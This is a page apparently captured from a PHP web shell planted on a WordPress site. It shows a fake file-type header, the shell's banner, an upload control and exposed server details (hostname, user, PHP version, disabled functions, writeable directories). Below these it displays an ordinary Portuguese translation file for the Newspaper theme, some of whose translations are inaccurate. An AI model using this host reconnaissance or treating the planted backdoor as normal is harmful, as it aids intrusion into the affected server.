%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/webroot/blog/wp-content/themes/Newspaper/translation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/webroot/blog/wp-content/themes/Newspaper/translation/pt_PT.po
msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: pt_PT\n"


msgid "View all results"
msgstr "Ver todos os resultados"


msgid "No results"
msgstr "Sem resultados"


msgid "Home"
msgstr "Início"


msgid "CLOSE"
msgstr "Fechar"


msgid "Page"
msgstr "Página"


msgid "All"
msgstr "Todos"


msgid "By"
msgstr "Por"


msgid "Load more"
msgstr "Carregar mais"


msgid "View all posts in"
msgstr "Ver todos os artigos em"


msgid "Tags"
msgstr "Tags"


msgid "Previous article"
msgstr "Artigo anterior"


msgid "Next article"
msgstr "Próximo artigo"


msgid "Authors"
msgstr "Autores"


msgid "Author"
msgstr "Autor"


msgid "RELATED ARTICLES"
msgstr "ARTIGOS RELACIONADOS"


msgid "MORE FROM AUTHOR"
msgstr "Mais do autor"


msgid "VIA"
msgstr "VIA"


msgid "SOURCE"
msgstr "FONTE"


msgid "TAGS"
msgstr "TAGS"


msgid "SHARE"
msgstr "COMPARTILHAR"


msgid "Continue"
msgstr "Continue"


msgid "Read more"
msgstr "Leia mais"


msgid "Name:"
msgstr "Nome:"


msgid "Email:"
msgstr "E-mail:"


msgid "Website:"
msgstr "Site:"


msgid "Comment:"
msgstr "Comentário:"


msgid "LEAVE A REPLY"
msgstr "DEIXE UMA RESPOSTA"


msgid "Post Comment"
msgstr "Postar Comentário"


msgid "Cancel reply"
msgstr "Cancelar resposta"


msgid "Reply"
msgstr "Responder"


msgid "Log in to leave a comment"
msgstr "Faça login para deixar um comentário"


msgid "NO COMMENTS"
msgstr "SEM COMENTÁRIOS"


msgid "1 COMMENT"
msgstr "1 COMENTÁRIO"


msgid "COMMENTS"
msgstr "COMENTÁRIOS"


msgid "REVIEW OVERVIEW"
msgstr "REVER GERAL"


msgid "SUMMARY"
msgstr "SUMÁRIO"


msgid "OVERALL SCORE"
msgstr "PONTUAÇÃO GERAL"


msgid "Ooops... Error 404"
msgstr "Ooops... Erro 404"


msgid "Sorry, but the page you are looking for doesn't exist."
msgstr "Desculpe, mas a página que está à procura não existe."


msgid "You can go to the"
msgstr "Você pode ir para"


msgid "HOMEPAGE"
msgstr "PÁGINA INICIAL"


msgid "OUR LATEST POSTS"
msgstr "NOSSOS POSTS MAIS RECENTES"


msgid "Posts by"
msgstr "Posts por"


msgid "POSTS"
msgstr "POSTS"


msgid "Posts tagged with"
msgstr "Posts com a tag"


msgid "Tag"
msgstr "Tag"


msgid "Daily Archives:"
msgstr "Arquivos diários:"


msgid "Monthly Archives:"
msgstr "Arquivos Mensais:"


msgid "Yearly Archives:"
msgstr "Arquivos anuais:"


msgid "Archives"
msgstr "Arquivos"


msgid "LATEST ARTICLES"
msgstr "ARTIGOS MAIS RECENTES"


msgid "search results"
msgstr "resultados da busca"


msgid "Search"
msgstr "Buscar"


msgid "If you're not happy with the results, please do another search"
msgstr "Se você não gostou dos resultados, por favor, faça outra pesquisa"


msgid "Contact us"
msgstr "Contato"


msgid "Page %CURRENT_PAGE% of %TOTAL_PAGES%"
msgstr "Página %CURRENT_PAGE% de %TOTAL_PAGES%"


msgid "Next"
msgstr "Próximo"


msgid "Prev"
msgstr "Anterior"


msgid "No results for your search"
msgstr "Nenhum resultado para a sua pesquisa"


msgid "No posts to display"
msgstr "Não há posts para exibir"


msgid "LOG IN"
msgstr "ENTRAR"


msgid "Sign in / Join"
msgstr "Entrar / Cadastrar"


msgid "Log In"
msgstr "Log in"


msgid "REGISTER"
msgstr "REGISTRAR"


msgid "Send My Pass"
msgstr "Enviar meu passe"


msgid "Forgot your password?"
msgstr "Esqueceu sua senha?"


msgid "Please wait..."
msgstr "Aguarde..."


msgid "User or password incorrect!"
msgstr "Usuário ou senha incorreta!"


msgid "Email or username incorrect!"
msgstr "E-mail ou nome de usuário incorreto!"


msgid "Email incorrect!"
msgstr "E-mail incorreto!"


msgid "User or email already exists!"
msgstr "Usuário ou e-mail já existe!"


msgid "Please check you email (index or spam folder), the password was sent there."
msgstr "Por favor, verifique no seu e-mails (Lixeira ou pasta de spam), a senha já foi enviada."


msgid "Email address not found!"
msgstr "Endereço de email não encontrado!"


msgid "Your password is reset, check your email."
msgstr "Sua senha foi redefinida, verifique seu e-mail."


msgid "Welcome! Log into your account"
msgstr "Bem-vindo! Entre na sua conta"


msgid "Register for an account"
msgstr "Crie uma conta"


msgid "Recover your password"
msgstr "Recupere sua senha"


msgid "your username"
msgstr "seu usuário"


msgid "your password"
msgstr "sua senha"


msgid "your email"
msgstr "seu e-mail"


msgid "A password will be e-mailed to you."
msgstr "Uma senha será enviada por e-mail para você."


msgid "Logout"
msgstr "Sair"


msgid "Like"
msgstr "Curtir"


msgid "Fans"
msgstr "Fãs"


msgid "Follow"
msgstr "Seguir"


msgid "Followers"
msgstr "Seguidores"


msgid "Subscribe"
msgstr "Inscrever"


msgid "Subscribers"
msgstr "Inscritos"


msgid "MORE STORIES"
msgstr "MAIS HISTÓRIAS"


msgid "Latest"
msgstr "Mais recentes"


msgid "Featured posts"
msgstr "Posts em destaque"


msgid "Most popular"
msgstr "Mais popular"


msgid "7 days popular"
msgstr "7 dias populares"


msgid "By review score"
msgstr "Por pontuação de review"


msgid "Random"
msgstr "Aleatório"


msgid "Trending Now"
msgstr "Últimas Notícias"


msgid "POPULAR CATEGORY"
msgstr "CATEGORIA POPULAR"


msgid "EVEN MORE NEWS"
msgstr "MAIS NOTÍCIAS"


msgid "Previous (Left arrow key)"
msgstr "Anterior (Seta a esquerda )"


msgid "Next (Right arrow key)"
msgstr "Avançar (tecla de seta para a direita)"


msgid "%curr% of %total%"
msgstr "%curr% de %total%"


msgid "The content from %url% could not be loaded."
msgstr "O conteúdo de %url% não pode ser carregado."


msgid "The image #%curr% could not be loaded."
msgstr "A imagem #%curr% não pode ser carregada."


msgid "Blog"
msgstr "Site"


msgid "Share on Facebook"
msgstr "Compartilhar no Facebook"


msgid "Tweet on Twitter"
msgstr "Tweet"


msgid "EDITOR PICKS"
msgstr "Seleções do editor"


msgid "POPULAR POSTS"
msgstr "POSTS MAIS POPULARES"


msgid "FOLLOW US"
msgstr "SIGA-NOS"


msgid "ABOUT US"
msgstr "SOBRE NÓS"


msgid "More"
msgstr "Mais"


msgid "Featured"
msgstr "Destaque"


msgid "All time popular"
msgstr "Todos os tempos populares"


msgid "Likes"
msgstr "Curtidas"


msgid "Register"
msgstr "Registrar"


msgid "of"
msgstr "de"


msgid "Euro Member Countries"
msgstr "Países membros do euro"


msgid "Your comment is awaiting moderation"
msgstr "Seu comentário aguarda moderação"


msgid "Follow us on Instagram"
msgstr "Siga-nos no instagram"


msgid "Back"
msgstr "Voltar"


msgid "Sign in"
msgstr "Entrar"


msgid "Sign up"
msgstr "Inscrever-se"


msgid "Join"
msgstr "Junte-se"


msgid "Welcome!"
msgstr "Bem vinda!"


msgid "Log into your account"
msgstr "Faça login na sua conta"


msgid "Password recovery"
msgstr "Recuperar senha"


msgid "Please check your email (index or spam folder), the password was sent there."
msgstr "Por favor, verifique seu e-mail (pasta de índice ou spam), a senha foi enviado para lá."


msgid "Australian Dollar"
msgstr "Dólar australiano"


msgid "Bulgarian Lev"
msgstr "Lev Búlgaro"


msgid "Brazilian Real"
msgstr "Moeda brasileira"


msgid "Canadian Dollar"
msgstr "Dólar canadense"


msgid "Swiss Franc"
msgstr "Franco suíço"


msgid "Chinese Yuan Renminbi"
msgstr "Renminbi chinês yuan"


msgid "Czech Republic Koruna"
msgstr "Koruna República Checa"


msgid "Danish Krone"
msgstr "Coroa dinamarquesa"


msgid "British Pound"
msgstr "Libra britânica"


msgid "Hong Kong Dollar"
msgstr "Dólar de Hong Kong"


msgid "Croatian Kuna"
msgstr "Kuna croata"


msgid "Hungarian Forint"
msgstr "Forint húngaro"


msgid "Indonesian Rupiah"
msgstr "Rupia indonésia"


msgid "Israeli Shekel"
msgstr "Shekel israelense"


msgid "Indian Rupee"
msgstr "Rupia indiana"


msgid "Japanese Yen"
msgstr "Yen japonês"


msgid "Korean (South) Won"
msgstr "Coreano (sul) won"


msgid "Mexican Peso"
msgstr "Peso mexicano"


msgid "Malaysian Ringgit"
msgstr "Ringgit malaio"


msgid "Norwegian Krone"
msgstr "Coroa norueguesa"


msgid "New Zealand Dollar"
msgstr "Dólar da Nova Zelândia"


msgid "Philippine Peso"
msgstr "Peso filipino"


msgid "Polish Zloty"
msgstr "Zloty polonês"


msgid "Romanian (New) Leu"
msgstr "Romena (novo) leu"


msgid "Russian Ruble"
msgstr "Rublo russo"


msgid "Swedish Krona"
msgstr "Coroa sueca"


msgid "Singapore Dollar"
msgstr "Dólar de Singapura"


msgid "Thai Baht"
msgstr "Baht tailandês"


msgid "Turkish Lira"
msgstr "Lira turca"


msgid "United States Dollar"
msgstr "Dolar dos Estados Unidos"


msgid "South African Rand"
msgstr "Rand sul-africano"


msgid "Privacy Policy"
msgstr "Política de Privacidade"


msgid "views"
msgstr "visualizações"


msgid "Modified date:"
msgstr "Data modificada:"


msgid "Please enter your name here"
msgstr "Por favor, digite seu nome aqui"


msgid "Please enter your email address here"
msgstr "Por favor, digite seu endereço de e-mail aqui"


msgid "You have entered an incorrect email address!"
msgstr "Você digitou um endereço de e-mail incorreto!"


msgid "Please enter your comment!"
msgstr "Por favor digite seu comentário!"


msgid "Logged in as"
msgstr "Logado como"


msgid "Log out?"
msgstr "Sair?"


msgid "Logged in as %s. Edit your profile."
msgstr "Logado como% s. Edite seu perfil."


msgid "Edit"
msgstr "Editar"


msgid "Login"
msgstr "Entrar"


msgid "Send My Password"
msgstr "Enviar minha senha"


msgid "Create an account"
msgstr "Crie a sua conta aqui"


msgid "Welcome! Register for an account"
msgstr "Bem vinda! registre-se para uma conta"


msgid "About me"
msgstr "Sobre mim"


msgid "Save my name, email, and website in this browser for the next time I comment."
msgstr "Salve meu nome, e-mail e site neste navegador para a próxima vez que eu comentar."


msgid "Orders"
msgstr "Ordens"


msgid "Addresses"
msgstr "Endereços"


msgid "Account settings"
msgstr "Configurações de Conta"


msgid "Hello"
msgstr "Olá"


msgid "No products in the cart."
msgstr "Nenhum produto no carrinho."


msgid "Product categories"
msgstr "Categorias de Produtos"


msgid "Product tags"
msgstr "Etiquetas de produto"


msgid "Success"
msgstr "Sucesso"


msgid "Acknowledgment is required!"
msgstr "Reconhecimento é necessário!"


msgid "Please fill in a valid email."
msgstr "Por favor preencha um email válido."


msgid "Please fill in an email address."
msgstr "Por favor preencha um endereço de e-mail."


msgid "Get into your account."
msgstr "Entre em sua conta."


msgid "My subscription account"
msgstr "Minha conta de assinatura"


msgid "Account details"
msgstr "Detalhes da conta"


msgid "Subscriptions"
msgstr "Assinaturas"


msgid "My woo account"
msgstr "Minha conta woo"


msgid "Log out"
msgstr "Sair"


msgid "Email address"
msgstr "Endereço de e-mail"


msgid "Username"
msgstr "Nome do usuário"


msgid "Password"
msgstr "Senha"


msgid "must contain at least one lower case (a..z)"
msgstr "deve conter pelo menos uma minúscula (a..z)"


msgid "must contain at least one upper case (A..Z)"
msgstr "deve conter pelo menos uma caixa alta (a..z)"


msgid "must contain at least 6 characters in length"
msgstr "deve conter pelo menos 6 caracteres de comprimento"


msgid "Repeat password"
msgstr "Repita a senha"


msgid "Already have an account?"
msgstr "Já tem uma conta?"


msgid "Recover password"
msgstr "Recuperar senha"


msgid "Username or Email address"
msgstr "Nome de Usuário ou Endereço de Email"


msgid "Forgot password?"
msgstr "Esqueceu a senha?"


msgid "Don't have an account?"
msgstr "Não tem uma conta?"


msgid "Dashboard"
msgstr "Painel de controle"


msgid "Welcome to your account!"
msgstr "Bem-vindo à sua conta!"


msgid "Hello %1$s (not %2$s? %3$s)! From your account dashboard you can view your subscriptions and manage your account details."
msgstr "Olá% 1 $ s (não% 2 $ s?% 3 $ s)! a partir do painel de sua conta, você pode visualizar suas assinaturas e gerenciar os detalhes de sua conta."


msgid "Lost Password"
msgstr "Senha perdida"


msgid "Manage your account details."
msgstr "Gerenciar os detalhes de sua conta."


msgid "First name"
msgstr "Primeiro nome"


msgid "Last name"
msgstr "último nome"


msgid "Display name"
msgstr "Nome em Exibição"


msgid "Current password"
msgstr "Senha atual"


msgid "(leave blank to leave unchanged)"
msgstr "(deixe em branco para não alterar)"


msgid "New password"
msgstr "Nova Senha"


msgid "Confirm new password"
msgstr "Confirme a nova senha"


msgid "Save changes"
msgstr "Salvar mudanças"


msgid "All your subscriptions."
msgstr "Todas as suas assinaturas."


msgid "Plan"
msgstr "Plano"


msgid "Payment type"
msgstr "Tipo de pagamento"


msgid "Status"
msgstr "Status"


msgid "Months"
msgstr "Meses"


msgid "Start date"
msgstr "Data de início"


msgid "End date"
msgstr "Data final"


msgid "missing plan"
msgstr "plano faltando"


msgid "Free"
msgstr "Gratuitamente"


msgid "Active"
msgstr "Ativo"


msgid "Trial"
msgstr "Julgamento"


msgid "Blocked"
msgstr "Bloqueado"


msgid "Closed"
msgstr "Fechado"


msgid "Not paid"
msgstr "Não pago"


msgid "Awaiting payment"
msgstr "Aguardando pagamento"


msgid "Subscription info"
msgstr "Informação de assinatura"


msgid "ID"
msgstr "IDENTIFICAÇÃO"


msgid "Name"
msgstr "Nome"


msgid "Company name"
msgstr "Nome da empresa"


msgid "VAT"
msgstr "CUBA"


msgid "Address"
msgstr "Morada"


msgid "City"
msgstr "Cidade"


msgid "Country/State"
msgstr "País / estado"


msgid "Email"
msgstr "O email"


msgid "Postal code"
msgstr "Código postal"


msgid "Direct bank transfer details"
msgstr "Detalhes de transferência bancária direta"


msgid "Account name"
msgstr "Nome da conta"


msgid "Account number"
msgstr "Número de conta"


msgid "Bank name"
msgstr "Nome do banco"


msgid "Routing number"
msgstr "Número de roteamento"


msgid "IBAN"
msgstr "IBAN"


msgid "Bic/Swift"
msgstr "Bic / swift"


msgid "Instructions"
msgstr "Instruções"


msgid "No subscription created."
msgstr "Nenhuma assinatura criada."


msgid "Choose plan"
msgstr "Escolha o plano"


msgid "Payment methods"
msgstr "Métodos de Pagamento"


msgid "Total"
msgstr "Total"


msgid "Period"
msgstr "Período"


msgid "Subscription summary"
msgstr "Resumo da assinatura"


msgid "Phone"
msgstr "Telefone"


msgid "Postcode"
msgstr "Código postal"


msgid "County"
msgstr "Município"


msgid "Town/City"
msgstr "Cidade Cidade"


msgid "Street address"
msgstr "Endereço"


msgid "Country/Region"
msgstr "País / região"


msgid "VAT Number"
msgstr "Número de IVA"


msgid "(optional)"
msgstr "(opcional)"


msgid "Billing details"
msgstr "Detalhes de faturamento"


msgid "User information"
msgstr "Informação do usuário"


msgid "It seems that no available payment methods have been configured."
msgstr "Parece que nenhum método de pagamento disponível foi configurado."


msgid "Thank you! We are delighted to see you here. Your subscription will be activated soon!"
msgstr "Obrigada! Estamos muito satisfeitos em vê-lo aqui. sua assinatura será ativada em breve!"


msgid "Our bank details"
msgstr "Nossos dados bancários"


msgid "Your subscription details"
msgstr "Detalhes da sua assinatura"


msgid "View subscription"
msgstr "Ver assinatura"


msgid "You have not selected a valid subscription plan."
msgstr "Você não selecionou um plano de assinatura válido."


msgid "Field empty"
msgstr "Campo vazio"


msgid "Empty first name"
msgstr "Primeiro nome vazio"


msgid "Empty last name"
msgstr "Sobrenome vazio"


msgid "Empty country"
msgstr "País vazio"


msgid "Empty address"
msgstr "Endereço vazio"


msgid "Empty city"
msgstr "Cidade vazia"


msgid "Empty county"
msgstr "Condado vazio"


msgid "Empty postcode"
msgstr "Código postal vazio"


msgid "Empty phone"
msgstr "Telefone vazio"


msgid "Empty email"
msgstr "Email vazio"


msgid "Email or username empty!"
msgstr "E-mail ou nome de usuário vazio!"


msgid "Pass empty!"
msgstr "Passe vazio!"


msgid "Username incorrect!"
msgstr "Nome de usuário incorreto!"


msgid "Invalid Pass Pattern!"
msgstr "Padrão de passagem inválido!"


msgid "Please activate your account by following the link sent to your email address."
msgstr "Ative sua conta seguindo o link enviado para seu endereço de e-mail."


msgid "Resend activation link"
msgstr "Reenviar link de ativação"


msgid "In order to have access to this section, you have to activate your account."
msgstr "Para ter acesso a esta seção, você deve ativar sua conta."


msgid "Email empty!"
msgstr "E-mail vazio!"


msgid "Username empty!"
msgstr "Nome de usuário vazio!"


msgid "Pass pattern incorrect!"
msgstr "Padrão de passagem incorreto!"


msgid "Retyped pass empty!"
msgstr "Passe redigitado vazio!"


msgid "Retyped pass exactly!"
msgstr "Passe redigitado exatamente!"


msgid "User already exists!"
msgstr "Usuário já existe!"


msgid "Email already exists!"
msgstr "E-mail já existe!"


msgid "Your account could not be created."
msgstr "Sua conta não pôde ser criada."


msgid "Please check your email (inbox or spam folder) to validate your account."
msgstr "Verifique seu e-mail (caixa de entrada ou pasta de spam) para validar sua conta."


msgid "User empty!"
msgstr "Usuário vazio!"


msgid "User does not exists!"
msgstr "Usuário não existe!"


msgid "New activation link was generated. Please check your email (inbox or spam folder) to validate your account."
msgstr "Novo link de ativação foi gerado. verifique seu e-mail (caixa de entrada ou pasta de spam) para validar sua conta."


msgid "CAPTCHA verification failed!"
msgstr "Falha na verificação do captcha!"


msgid "CAPTCHA user score failed. Please contact us!"
msgstr "Falha na pontuação do usuário captcha. Por favor, entre em contato conosco!"


msgid "Loading"
msgstr "Carregando"


msgid "Here are the results for the search:"
msgstr "Aqui estão os resultados da pesquisa:"


msgid "Price"
msgstr "Preço"


msgid "EXCLUSIVE"
msgstr "EXCLUSIVO"


msgid "Tel:"
msgstr "Telefone:"


msgid "Share"
msgstr "Compartilhado"


msgid "Print"
msgstr "Imprimir"


msgid "At"
msgstr "No"


msgid "Comments are closed."
msgstr "Comentários estão fechados."


msgid "My account"
msgstr "Minha conta"


msgid "Payment method"
msgstr "Forma de pagamento"


VaKeR 2022